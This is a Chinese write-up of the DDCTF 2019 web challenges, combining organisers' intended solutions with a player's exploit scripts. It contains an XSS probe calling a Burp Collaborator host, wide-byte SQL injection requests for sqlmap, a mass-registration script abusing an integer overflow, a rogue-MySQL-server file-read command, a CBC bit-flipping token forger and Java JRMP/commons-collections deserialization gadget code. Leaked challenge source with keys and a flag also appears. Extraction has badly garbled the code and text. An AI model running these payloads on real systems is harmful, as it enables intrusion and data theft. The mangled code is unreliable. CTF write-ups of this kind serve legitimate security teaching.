【知识库】DDCTF2019官方Write Up——Web篇(二)
官方writeup公布时间线

Web作者:cl0und
成都信息工程大学/大三/Web Top1
文章目录
Web? Write Up(所有题目均含出题人解析)
0x05 :欢迎报名DDCTF
0x06 :大吉大利,今晚吃鸡~
0x07 :mysql弱口令
0x08 :再来1杯Java
0x01 :滴~(见第一篇)
0x02 :WEB 签到题(见第一篇)
0x03 :Upload-IMG(见第一篇)
0x04 :homebrew event loop(见第一篇)
05
欢迎报名DDCTF


这道题目其实比较简单,题目一开始是一个报名页面,很多同学可能会尝试注入,注入失败后,应该能想到XSS。事实上点击提交后弹出框框,也是一种隐形的提示,这里XSS的目的不是获取cookie,而是查看源码。源码中有一个隐藏的API接口,这个接口存在宽字节注入漏洞,而且可以根据GBK也能想到宽字节注入。事实上这个题目,使用Beaf和Sqlmap,即可轻松解决。一方面考察了选手的基本能力,另一方面,也考察了选手对一些常用工具的灵活运用。
--------------选手Write Up--------------
题目链接:http://117.51.147.2/Ze02pQYLf5gGNyMn/
之前一直各种测sql注入没反应,后来祭出了万能poc,发现是xss
App"/>
http://6lsz939vedevmdegkun2wnzb52bszh.burpcollaborator.ne?t/">
'${9*9}[!--+*)(&
用在线xss平台可以打到后台网页源码,页面源码中泄漏了一个接口。
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id
=1
当时一直卡在这里,遍历了id没反应,用xss测试之前发现的几个页面也没有发现(知道本题结做完 ? ? ? 我都不知道login.php干嘛的)。后来等到提示说是注入,注意到泄露的这个接返回的 content-
type 是gbk,猜测这里是宽子节注入,手测没测出来,试试sqlmap的神秘力量。
inject.txt
GET?/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%df*?HTTP/1.1?Host:?117.51.147.2
User-Agent:?Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/2?0100101?Firefox/66.0
Accept:?text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8?Accept-Language:?en-US,en;q=0.5
Accept-Encoding:?gzip,?deflate
Referer:?http://117.51.147.2/Ze02pQYLf5gGNyMn/?Connection:?close
Upgrade-Insecure-Requests:?1
sqlmap跑一波
python?sqlmap.py?-r?inject.txt?--level?3


最后dump字段的时候sqlmap忽然开始盲注了,为了尽快做出来直接用sqlmap的payload手注了一
下

06
大吉大利,今晚吃鸡~


?出题思路
本题来自于某个thrif版本在golang和java通信时 整数溢出导致精度丢失的问题,期望选手可以思考一下golang的订单系统 和java的支付系统之间的调用逻辑.
官方write_up
?一开始这题我给的是150分~因为作为我个人来说 我还是更期望 大部分选手能成功拿到分数,也期待看到多种不同的解法,所以在上线的时候 修改一些逻辑(比如注册,之前的预设是在ddctf平台直接给参数跳转),另外 部署在mysql同一台服务器 也是故意希望参赛选手可以通过任意文件读取 读一下代码 看看出题人真正想看到什么样的 write_up,不过很可惜的是,参赛选手上交的writeup 并没有出现出题人希望看到的解法,并且一致抱怨跑脚本看运气~
?官方预设解法
?1、通过int32整数溢出 获得ticket,通过md5 hash扩展攻击,通过删除自己的回显破解出key的长度,最后通过md5 hash扩展攻击移除机器人
?2、通过mysql那道题 读取源码拿到flag (并不是bug)
3、通过批量注册遍历hash值解题。
4、通过越权直接读参赛选手的get_ticket接口解题。
解题思路很多,一开始以为大部分人会按照给的提示用hash扩展的方法先把题目解了,再去想其他办法~没想到最后收到的write up如出一辙
--------------选手Write Up--------------
题目链接:http://117.51.147.155:5050/index.html#/login
经过测试订单的钱可以改只要大于1000就可以,最后购买的时候在处理32-64位之间的整数时,会取到低32位。凭票入场之后就是吃鸡战场,每一个入场的选手都会又一个id和ticket,输入别人的就可以让人数减一。手快不如工具快,老汉能把青年赛,放脚本批量注册小号批量杀就可以了。
import?requests?import?json?import?time?import?uuid?import?hashlib
proxies?=?{'http':'127.0.0.1:8080'}
def?create_md5():?m=hashlib.md5()
m.update(bytes(str(time.time())))?return?m.hexdigest()
def?register_pay():
session?=?requests.Session()
paramsGet?=?{"name":create_md5(),"password":create_md5()}?print(paramsGet)
headers?=?{"Accept":"application/json","User-Agent":"Mozilla/5.0?(Maci?ntosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/20100101?Firefox/66.0","Refere?r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La?nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip,?deflate"}
response?=?session.get("http://117.51.147.155:5050/ctf/api/register",?params=paramsGet,?headers=headers,?proxies=proxies)
time.sleep(0.5)
print(session.cookies)
#print("Status?code:????%i"?%?response.status_code)?#print("Response?body:?%s"?%?response.content)
paramsGet?=?{"ticket_price":"4294967296"}
headers?=?{"Accept":"application/json","User-Agent":"Mozilla/5.0?(Maci?ntosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/20100101?Firefox/66.0","Refere?r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La?nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip,?deflate"}
response?=?session.get("http://117.51.147.155:5050/ctf/api/buy_ticket"
,?params=paramsGet,?headers=headers,?proxies=proxies)
time.sleep(0.5)
#print("Status?code:????%i"?%?response.status_code)?#print("Response?body:?%s"?%?response.content)
headers?=?{"Accept":"application/json","User-Agent":"Mozilla/5.0?(Maci?ntosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/20100101?Firefox/66.0","Refere?r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La?nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip,?deflate"}
response?=?session.get("http://117.51.147.155:5050/ctf/api/search_bill
_info",?headers=headers,?proxies=proxies)?#?print(response.text)
bill_id?=?json.loads(response.text)['data'][0]["bill_id"]
time.sleep(0.5)
#print("Status?code:????%i"?%?response.status_code)?#print("Response?body:?%s"?%?response.content)
paramsGet?=?{"bill_id":bill_id}
headers?=?{"Accept":"application/json","User-Agent":"Mozilla/5.0?(Maci?ntosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/20100101?Firefox/66.0","Refere?r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La?nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip,?deflate"}
response?=?session.get("http://117.51.147.155:5050/ctf/api/pay_ticket"
,?params=paramsGet,?headers=headers,?proxies=proxies)?#print("Status?code:????%i"?%?response.status_code)?#print("Response?body:?%s"?%?response.content)?time.sleep(0.5)
headers?=?{"Accept":"application/json","Cache-Control":"max-age=0","Us?er-Agent":"Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/20?100101?Firefox/66.0","Referer":"http://117.51.147.155:5050/index.html","Co?nnection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gz?ip,?deflate"}
response?=?session.get("http://117.51.147.155:5050/ctf/api/search_tick?et",?headers=headers,?proxies=proxies)
#print("Status?code:????%i"?%?response.status_code)?#print("Response?body:?%s"?%?response.content)?#print(response.text)
id?=?json.loads(response.text)['data'][0]['id']
ticket?=?json.loads(response.text)['data'][0]['ticket']?print(id,?ticket)
return?id,ticket
def?kill(id,?ticket):?time.sleep(0.5)
session?=?requests.Session()
paramsGet?=?{"ticket":ticket,"id":id}
headers?=?{"Accept":"application/json","User-Agent":"Mozilla/5.0?(Maci?ntosh;?Intel?Mac?OS?X?10.14;?rv:66.0)?Gecko/20100101?Firefox/66.0","Refere?r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La?nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip,?deflate"}
cookies?=?{"REVEL_SESSION":"3b2bacbee8fb18e1b1457171b422999d","user_na?me":"cl0und"}
response?=?session.get("http://117.51.147.155:5050/ctf/api/remove_robo?t",?params=paramsGet,?headers=headers,?cookies=cookies)
print("Status?code:????%i"?%?response.status_code)?print("Response?body:?%s"?%?response.content)
if???name?????==?'?main?':?while?True:
try:
id,?ticket?=?register_pay()?kill(id,?ticket)?time.sleep(0.5)
except?Exception?as?e:?print?e
杀完之后就有?ag

06
大吉大利,今晚吃鸡~ 非预期解法
赛后看了其他师傅的wp,发现有些师傅以为这道考的是golang的整形溢出+批量kill小号,其实看到出题人的源码之后才知道。出题人是用python(?ask)模拟了一个golang整形溢出的web环境,并且 ? ? 吃鸡战场的本意是想考hash长度扩展攻击(心情复杂.jpg)。发现这点原因是通过读mysql那道题的 .bash_history 可以发现出题人把这两道题放在同一台服务器上的。
?
实际读一下,可以发现web2对应的是mysql题


web1对应的是吃鸡题

在/home/dc2user/ctf_web_1/web_1/app/main/views.py 可以把部分主干代码都读出来(工具问题,换个工具应该可以读全),这里已经有可以看到?ag了
#?coding=utf-8
from?flask?import?jsonify,?request,redirect?from?app?import?mongodb
from?app.unitis.tools?import?get_md5,?num64_to_32
from?app.main.db_tools?import?get_balance,?creat_env_db,?search_bill,?secr?ity_key,?get_bill_id
import?uuid
from?urllib?import?unquote?mydb?=?mongodb.db
flag?=?'''DDCTF{chiken_dinner_hyMCX[n47Fx)}'''
def?register():
result?=?[]
user_name?=?request.args.get('name')?password?=?request.args.get('password')
if?not?user_name?or?not?password:
response?=?jsonify({"code":?404,?"msg":?"参数?能为空",?"data":?[]})?return?response
if?not?len(password)>=8:
response?=?jsonify({"code":?404,?"msg":?"密码必须大于等于8位",?"data"
:?[]})
return?response
else:
hash_val?=?get_md5(user_name,?'DDCTF_2019')
name}):
if?not?mydb.get_collection('account').find_one({'user_name':?user_
mydb.get_collection('account').insert_one({'user_name':?user_n
ame,?'password'?:password,?'balance':?100,
l,?'flag':?'test'})
'hash_val':?hash_va
result})
tmp_result?=?{'user_name':?user_name,?'account':?100}?result.append(tmp_result)
response?=?jsonify({"code":?200,?"msg":?"用户注册成功",?"data":
response.set_cookie('user_name',?user_name)?response.set_cookie('REVEL_SESSION',?hash_val)?response.headers['Server']?=?'Caddy'
return?response
[]})
else:
response?=?jsonify({"code":?404,?"msg":?"用户已存在",?"data":
response.set_cookie('user_name',?user_name)?response.set_cookie('REVEL_SESSION',?hash_val)?response.headers['Server']?=?'Caddy'
return?response
def?login():
result?=?[]
user_name?=?request.args.get('name')?password?=?request.args.get('password')
if?not?user_name?or?not?password:
response?=?jsonify({"code":?404,?"msg":?"参数?能为空",?"data":?[]})?return?response
if?not?mydb.get_collection('account').find_one({'user_name':?user_nam?e}):
lt})
response?=?jsonify({"code":?404,?"msg":?"该用户未注册",?"data":?resu
return?response
if?not?password?==?mydb.get_collection('account').find_one({'user_nam?e':?user_name})['password']:
response?=?jsonify({"code":?404,?"msg":?"密码错误",?"data":?resul
t})
return?response?else:
hash_val?=?mydb.get_collection('account').find_one({'user_name':?u
ser_name})['hash_val']
response?=?jsonify({"code":?200,?"msg":?"登陆成功",?"data":?resul
t})
response.set_cookie('user_name',?user_name)?response.set_cookie('REVEL_SESSION',?hash_val)?response.headers['Server']?=?'Caddy'
return?response
def?get_user_balance():?result?=?[]
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?if?not?user_name?or?not?hash_val:
response?=?jsonify({"code":?404,?"msg":?"您未登陆",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
else:
str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?==?str_md5:
balance?=?get_balance(user_name)?bill_id????=?get_bill_id(user_name)
tmp_dic?=?{'balance':?balance?,?'bill_id':?bill_id}?result.append(tmp_dic)
return?jsonify({"code":?200,?"msg":?"查询成功",?"data":?resul
t})
else:
return?jsonify({"code":?404,?"msg":?"参数错误",?"data":?[]})
def?buy_ticket():
result?=?[]
user_name?=??request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?ticket_price?=?int(request.args.get('ticket_price'))?if?not?user_name?or?not?hash_val?or?not?ticket_price:
response?=?jsonify({"code":?404,?"msg":?"参数错误",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?!=?str_md5:
response?=?jsonify({"code":?404,?"msg":?"登陆信息有误",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
if?ticket_price?< ?1000:
response?=?jsonify({"code":?200,?"msg":?"ticket门票价格为2000",?"da?ta":?[]})
response.headers['Server']?=?'Caddy'?return?response
if?search_bill(user_name):?tmp_list?=?[]
bill_tmp?=?{'bill_id':?search_bill(user_name)}?tmp_list.append(bill_tmp)
response?=?jsonify({"code":?200,?"msg":?"请支付未完成订单",?"data":
tmp_list})
response.headers['Server']?=?'Caddy'?return?response
else:
#?生成uuid?保存订单
hash_id?=?str(uuid.uuid4())
tmp_dic?=?{'user_name':?user_name,?'ticket_price':?ticket_price,?'bill_id':?hash_id}
mydb.get_collection('bill').insert_one(tmp_dic)?result.append({'user_name':?user_name,?'ticket_price':?ticket_pric
e,?'bill_id':?hash_id})
response?=?jsonify({"code":?200,?"msg":?"购买门票成功",?"data":?resu
lt})
response.headers['Server']?=?'Caddy'?return?response
def?search_bill_info():?result?=?[]
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?if?not?user_name?or?not?hash_val:
response?=?jsonify({"code":?404,?"msg":?"您未登陆",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
else:
str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?==?str_md5:
tmp?=?mydb.get_collection('bill').find_one({'user_name':?user_
name})
esult})
if?not?tmp:
return?jsonify({"code":?200,?"msg":?"?存在订单",?"data":?r
bill_id?=?tmp['bill_id']?user_name?=user_name
bill_price?=?tmp['ticket_price']
tmp_dic?=?{'user_name':?user_name,?'bill_id':?bill_id,?'bill_p
rice':?bill_price}
result.append(tmp_dic)
return?jsonify({"code":?200,?"msg":?"查询成功",?"data":?resul
t})
else:
return?jsonify({"code":?404,?"msg":?"参数错误",?"data":?[]})
def?recall_bill():
result?=?[]
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?bill_id?=?request.args.get('bill_id')
if?not?user_name?or?not?hash_val:
response?=?jsonify({"code":?404,?"msg":?"参数?能为空",?"data":?[]})?response.headers['Server']?=?'Caddy'
return?response
str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?!=?str_md5:
response?=?jsonify({"code":?404,?"msg":?"登陆信息有误",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
tmp?=mydb.get_collection('bill').find_one({'bill_id':?bill_id})?if?not?tmp:
response?=?jsonify({"code":?404,?"msg":?"订单号?存在",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
if?tmp['user_name']?!=?user_name:
response?=?jsonify({"code":?404,?"msg":?"订单号?存在",?"data":?[]})?response.headers['Server']?=?'Caddy'
return?response?else:
mydb.get_collection('bill').delete_one({'bill_id':?bill_id})?tmp_result?=?{'user_name':?tmp['user_name'],?'bill_id':?tmp['bill_
id'],?'ticket_price':?tmp['ticket_price']}?result.append(tmp_result)
response?=?jsonify({"code":?200,?"msg":?"订单已取消",?"data":?resul
t})
response.headers['Server']?=?'Caddy'?return?response
def?pay_ticket():
result?=?[]
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?bill_id?=?request.args.get('bill_id')
if?not?user_name?or?not?hash_val?or?not?bill_id:
response?=?jsonify({"code":?404,?"msg":?"参数?能为空",?"data":?[]})?response.headers['Pay-Server']?=?'Apache-Coyote/1.1'
response.headers['X-Powered-By']?=?'?Servlet/3.0'?return?response
str_md5?=?get_md5(user_name,?'DDCTF_2019')
if?hash_val?!=?str_md5:
response?=?jsonify({"code":?404,?"msg":?"登陆信息有误",?"data":?[]})?response.headers['Pay-Server']?=?'Apache-Coyote/1.1'?response.headers['X-Powered-By']?=?'?Servlet/3.0'
return?response
tmp_obj?=?mydb.get_collection('bill').find_one({'bill_id':bill_id})?if?not?tmp_obj:
response?=?jsonify({"code":?404,?"msg":?"订单信息有误",?"data":?[]})
response.headers['Pay-Server']?=?'Apache-Coyote/1.1'?response.headers['X-Powered-By']?=?'?Servlet/3.0'?return?response
tmp_price?=?mydb.get_collection('bill').find_one({'user_name':?user_na?me})['ticket_price']
tmp_bill_uuid?=?mydb.get_collection('bill').find_one({'bill_id':?bill_?id})['bill_id']
price?=?num64_to_32(tmp_price)
tmp_account?=?mydb.get_collection('account').find_one({'user_name':?us?er_name})['balance']
if?tmp_bill_uuid?==?bill_id:?if?tmp_account?>=?price:
if?mydb.get_collection('user_env').find_one({'user_name':?user
_name}):
tmp?=?mydb.get_collection('user_env').find_one({'user_nam
e':?user_name})['user_info_list']
for?item?in?tmp:
if?item['user_name']?==?user_name:?result.append(item)
else:
pass
response?=?jsonify({"code":?200,?"msg":?"已购买ticket",
"data":?result})
response.headers['Pay-Server']?=?'Apache-Coyote/1.1'?response.headers['X-Powered-By']?=?'?Servlet/3.0'
return?response?else:
account?=?tmp_account?-?price?mydb.get_collection('account').update_one({'user_name':?us
er_name},?{'$set':?{'balance':?account}},
d})
upsert=True)?mydb.get_collection('bill').delete_one({'bill_id':?bill_i
tmp_info?=?creat_env_db(user_name)?mydb.get_collection('user_env').insert_one(tmp_info[0])?tmp_result?=?{'your_ticket':?tmp_info[1]['hash_val'],?'you
r_id':?tmp_info[1]['id']}
result.append(tmp_result)
response?=?jsonify({"code":?200,?"msg":?"交?成功",?"data":
result})
else:
response.headers['Pay-Server']?=?'Apache-Coyote/1.1'?response.headers['X-Powered-By']?=?'?Servlet/3.0'?return?response
[]})
else:
response?=?jsonify({"code":?200,?"msg":?"余额?足",?"data":
response.headers['Pay-Server']?=?'Apache-Coyote/1.1'?response.headers['X-Powered-By']?=?'?Servlet/3.0'?return?response
response?=?jsonify({"code":?200,?"msg":?"订单信息有误",?"data":?[]})?response.headers['Pay-Server']?=?'Apache-Coyote/1.1'?response.headers['X-Powered-By']?=?'?Servlet/3.0'
return?response
def?is_login():
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?if?not?user_name?or?not?hash_val:
response?=?jsonify({"code":?404,?"msg":?"参数?能为空",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?!=?str_md5:
response?=?jsonify({"code":?404,?"msg":?"登陆信息有误",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
response?=?jsonify({"code":?200,?"msg":?"您已登陆",?"data":?[]})
return?response
def?search_ticket():?result?=?[]
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?if?not?user_name?or?not?hash_val:
response?=?jsonify({"code":?404,?"msg":?"参数?能为空",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?!=?str_md5:
response?=?jsonify({"code":?404,?"msg":?"登陆信息有误",?"data":?[]})
response.headers['Server']?=?'Caddy'?return?response
tmp?=?mydb.get_collection('user_env').find_one({'user_name':?user_nam
e})
if?not?tmp:
response?=?jsonify({"code":?404,?"msg":?"你还未获取入场券",?"data":
[]})
response.headers['Server']?=?'Caddy'?return?response
if?tmp:
tmp_dic?=?{'ticket':?tmp['player_info']['hash_val'],?'id':?tmp['pl?ayer_info']['id']}
result.append(tmp_dic)
response?=?jsonify({"code":?200,?"msg":?"ticket信息",?"data":?resu
lt})
response.headers['Server']?=?'Caddy'?return?response
def?remove_robot():
result?=?[]?sign_str?=?''
user_name?=?request.cookies.get('user_name')?hash_val?=?request.cookies.get('REVEL_SESSION')?a?=??request.environ['QUERY_STRING']?params_list?=?[]
for?item?in?a.split('&'):?k,?v?=?item.split('=')
params_list.append((k,?v))
user_id?=?request.args.get('id')?ticket?=?request.args.get('ticket')
if?not?user_name?or?not?hash_val?or?not?user_id?or?not?ticket:?response?=?jsonify({"code":?404,?"msg":?"参数错误",?"data":?[]})?response.headers['Server']?=?'Caddy'
return?response
#?if?not?str.isdigit(user_id):
#????return?jsonify({"code":?0,?"msg":?"参数错误",?"data":?[]})
str_md5?=?get_md5(user_name,?'DDCTF_2019')?if?hash_val?!=?str_md5:
response?=?jsonify({"code":?404,?"msg":?"登陆信息有误"
读一下tools.py可以看到出题人费劲心机模拟golang,看样子也是想考hash长度扩展攻击的
#!/usr/bin/env?python
#?-*-?coding:?utf-8?-*-
#?@Time????:?2/1/2019?10:47?PM
#?@Author????:?fz?#?@Site????:
#?@File????:?tools.py?#?@Software:?PyCharm
import?decimal?import?datetime?import?types?import?hashlib
from?flask.json?import?JSONEncoder?from?urllib?import?unquote
from?urllib?import?quote_plus
secrity_key?=?'Winner,?winner,?chicken?dinner!'?def?pretty_floats(obj):
if?isinstance(obj,?float)?or?isinstance(obj,?decimal.Decimal):?return?round(obj,?2)
elif?isinstance(obj,?dict):
return?dict((k,?pretty_floats(v))?for?k,?v?in?obj.iteritems())?elif?isinstance(obj,?(list,?tuple)):
return?map(pretty_floats,?obj)?return?obj
#?空值变为0
def?pretty_data(obj):
if?isinstance(obj,?types.NoneType)?or?obj?==?"":?return?0
elif?isinstance(obj,?dict):
return?dict((k,?pretty_data(v))?for?k,?v?in?obj.iteritems())?elif?isinstance(obj,?(list,?tuple)):
return?map(pretty_data,?obj)?return?obj
class?CustomJSONEncoder(JSONEncoder):?def?default(self,?obj):
try:
ime.date):
if?isinstance(obj,?datetime.datetime)?or?isinstance(obj,?datet
encoded_object?=?obj.strftime('%Y-%m-%d')?return?encoded_object
iterable?=?iter(obj)
except?TypeError:?pass
else:
return?list(iterable)
return?JSONEncoder.default(self,?obj)
#
def?percent_div(up,??down):?if?up?==?0?or?up?is?None:
return?0
try:
return?round((up?/?down)?*?100,?2)
except?ZeroDivisionError:?return?0
#
def?num64_to_32(num):
str_num?=??bin(num)?if?len(str_num)?>?66:
return?False
if?34?< ?len(str_num)?66:?str_64?=?str_num[-32:]?result?=?int(str_64,?2)?return?result
if?len(str_num)?< ??34:?result?=?int(str_num,?2)?return?result
#
def?get_md5(string,?secret_key):?m?=?hashlib.md5()?m.update(secret_key+string)?return?m.hexdigest()
if???name?????==?"?main?":
print?get_md5('id137',?'Winner,?winner,?chicken?dinner!')?print?get_md5('id80',?secrity_key)
str?=?unquote('id80%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0?0%00%00%00%00%18%01%00%00%00%00%00%00id51')
str_new?=?secrity_key?+?str?print?str_new
print?('''id80x80x00x00x00x00x00x00x00x00x00x00x00x00x00
x00x00x00x00x00x00x00x18x01x00x00x00x00x00x00id51''')?print?quote_plus('''
''')
07
mysql弱口令


出题思路
本题思路是源于某次蓝军工作反攻扫描器的思路~ 本题本来预设的分数是200,所以一般设定为了解了mysql 任意文件读取的即可获得分数。
/* 本题出现了未预期解法,通过读.mysql_history,从而不需要去拿到路径这是预期之外的解法*/
官方write_up
1、通过读 .bash_history 拿到文件路径,获得提示,读取数据库文件拿到flag
2、提示最多的解法竟然没有人发现。。。curl的本地ssrf打mysql。
例子:
http://117.51.147.155:5000/ctf/api/weak_scan?target_ip=150.109.106.49&target_port=3306
--------------选手Write Up--------------
题目链接:http://117.51.147.155:5000/index.html#/scan
题目的逻辑大概是,在vps运行agent.py,这个服务器会列出vps上的进程信息,然后在题目页面输入自己mysql的端口号,扫描器会先来访问agent.py监听端口check是否会有mysqld进程,如果有那 ? 么进行弱口令测试。
?
这种反击mysql扫描器的思路感觉之前已经被出过很几次了,最早看到的中文分析文章是lightless师???? 傅的这篇
https://lightless.me/archives/read-mysql-client-?le.html
具体的工具可以参看这篇https://www.freebuf.com/vuls/188910.html 打一个poc
set?mysql.server.infile?/etc/passwd;?mysql.server?off;?mysql.server?on;

读取三种常见的history .bash_history (这里有个非预期后面会讲), .vim_history ,
.mysql.history 。
mysql历史里面有?ag

08
再来1杯Java


本题思路是基于现在广泛使用的`Spring Boot`框架抽象提取的业务场景。考点`Padding Oracle`出题失误,把明文显示出来了,造成选手直接构造CBC翻转攻击的独特解法,很赞。`反序列化漏洞`的考点,本来想去掉SerialKiller工具里面关于`JRMP`防护部分,题目测试时候发现可以直接绕过,也就没改、加大了难度。考察漏洞攻击理解的同时,通过限制命令执行操作,着重考察了同学们的Java编程能力。做出题目的2位同学用的思路都不一样,都很棒。希望做过这道题目的同学能够从中学到一些知识,而不执著于题目本身。
--------------选手Write Up--------------
题目链接:
116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com
在 /api/account_info 可以看到权限信息

bae64解密token可以看到token的提示是 oracle padding cbc

这里思路应该是通过padding oracle把 roleAdmin 改为true,具体思路是使用精心构造的iv控制第一段解密出的明文,用第二段密文控制第三段明文内容,中间的脏字符从第一段和第三段明文中匀出 ? ? ? ? ?双引号包裹,大概样子如下图。

这种思路下其实还是超长了,当时想的苟一苟把true改成1,结果就可以了(java不是强类型吗?是
fastjson的问题?),脚本如下
from?Crypto.Util.strxor?import?strxor?from?base64?import?*
import?requests
#pip?install?pycrypto
def?xor(a,?b):
return?chr(ord(a)^ord(b))
def?get_source_code(url,?cipher):?session?=?requests.Session()?session.cookies['token']?=?cipher?web?=?session.get(url)
return?web.text
url?=?'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/acco?unt_info'
str?=?'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'
token?=?b64decode(str)
iv?=?token[:16]?C1?=?token[16:32]?C2?=?token[32:]
raw_iv?=?'PadOracle:iv/cbc'
json?=?'{"id":100,"roleAdmin":false}'?D_C1?=?strxor(json[:16],?raw_iv)
cipher?=?strxor(strxor(iv,?json[:16]),?'{"roleAdmin":1,"')+C1+strxor(strxo?r(C2,?strxor(D_C1,?C2)),?'":"1","id":001}'+chr(1))+C1
cipher?=?b64encode(cipher)
state?=?get_source_code(url,?cipher)?print?state
print?cipher
抓包改一下即可来到管理员界面

其中1.txt给了一些hint

同时?lename存在任意文件读取漏洞,跑一下常见路径可以拿到一份源码泄漏

审计一下代码可以看到虽然项目使用的是有漏洞的commons-collections并且还存在一个明显的反 ? ?序列化点,不过不幸的是在反序列化之前用SerialKiller对反序列化出来的类做了黑名单处理。

?

一开始的思路是用最近出的工具gadget-inspector.jar自动化寻找新的gadget,但是没有找到。。。
等到中午的时候官方放了提示说是利用 jrmp ,在先知上找到一片文章Weblogic JRMP反序列化漏洞回顾,在CVE-2018-?那里作者给出了一个payload我发现稍微改一下打到服务器那边就会有反应。
import?com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingE?xception;
import?sun.rmi.server.UnicastRef;?import?sun.rmi.transport.LiveRef;
import?sun.rmi.transport.tcp.TCPEndpoint;
import?javax.management.remote.rmi.RMIConnectionImpl_Stub;?import?javax.naming.ConfigurationException;
import?java.io.ByteArrayOutputStream;?import?java.io.IOException;
import?java.io.ObjectOutputStream;?import?java.rmi.server.ObjID;?import?java.util.Random;
public?class?Poc?{
public?static?void?main(String[]?args)?throws?IOException,?ClassNotFou?ndException,?ConfigurationException,?Base64DecodingException?{
String?host;?int?port;?host?=?"ip";?port?=?1099;
ObjID?id?=?new?ObjID(new?Random().nextInt());?//?RMI?registry?TCPEndpoint?te?=?new?TCPEndpoint(host,?port);
UnicastRef?ref?=?new?UnicastRef(new?LiveRef(id,?te,?false));?RMIConnectionImpl_Stub?stub?=?new?RMIConnectionImpl_Stub(ref);
t);
ByteArrayOutputStream?out?=?new?ByteArrayOutputStream();?ObjectOutputStream?objectOutputStream?=?new?ObjectOutputStream(ou
objectOutputStream.writeObject(stub);
System.out.println(java.util.Base64.getEncoder().encodeToString(ou?t.toByteArray()).toString());
}
}
服务器监听可以成功接受到请求

下面要做的就是用ysoserial开一个jrmp监听,把真正的payload回传给服务器。虽然构造用的
gadget是走commons-collections但是这里不过serialkiller所以不会被拦截。因为之前提示说过这个
环境不能执行命令,所以需要自己在ysoserial中自定义个一个反射链,随风师傅博客中提到的
classloder方案
最后代码如下
package?ysoserial.payloads;
import?org.apache.commons.collections.Transformer;
import?org.apache.commons.collections.functors.ChainedTransformer;?import?org.apache.commons.collections.functors.ConstantTransformer;?import?org.apache.commons.collections.functors.InvokerTransformer;?import?org.apache.commons.collections.keyvalue.TiedMapEntry;
import?org.apache.commons.collections.map.LazyMap;?import?ysoserial.payloads.annotation.Authors;?import?ysoserial.payloads.annotation.Dependencies;?import?ysoserial.payloads.annotation.PayloadTest;?import?ysoserial.payloads.util.JavaVersion;
import?ysoserial.payloads.util.PayloadRunner;?import?ysoserial.payloads.util.Reflections;
import?javax.management.BadAttributeValueExpException;?import?java.lang.reflect.Field;
import?java.util.HashMap;?import?java.util.Map;
/*
Gadget?chain:
ObjectInputStream.readObject()?AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()?AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()?ConstantTransformer.transform()?InvokerTransformer.transform()
Method.invoke()?Class.getMethod()
InvokerTransformer.transform()?Method.invoke()
Runtime.getRuntime()?InvokerTransformer.transform()
Method.invoke()?Runtime.exec()
Requires:
commons-collections
*/
/*
This?only?works?in?JDK?8u76?and?WITHOUT?a?security?manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b?3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
//@PayloadTest(skip="need?more?robust?way?to?detect?Runtime.exec()?without?SecurityManager()")
SuppressWarnings({"rawtypes",?"unchecked"})
PayloadTest?(?precondition?=?"isApplicableJavaVersion")?@Dependencies({"commons-collections:commons-collections:3.1"})?@Authors({?Authors.MATTHIASKAISER,?Authors.JASINNER?})
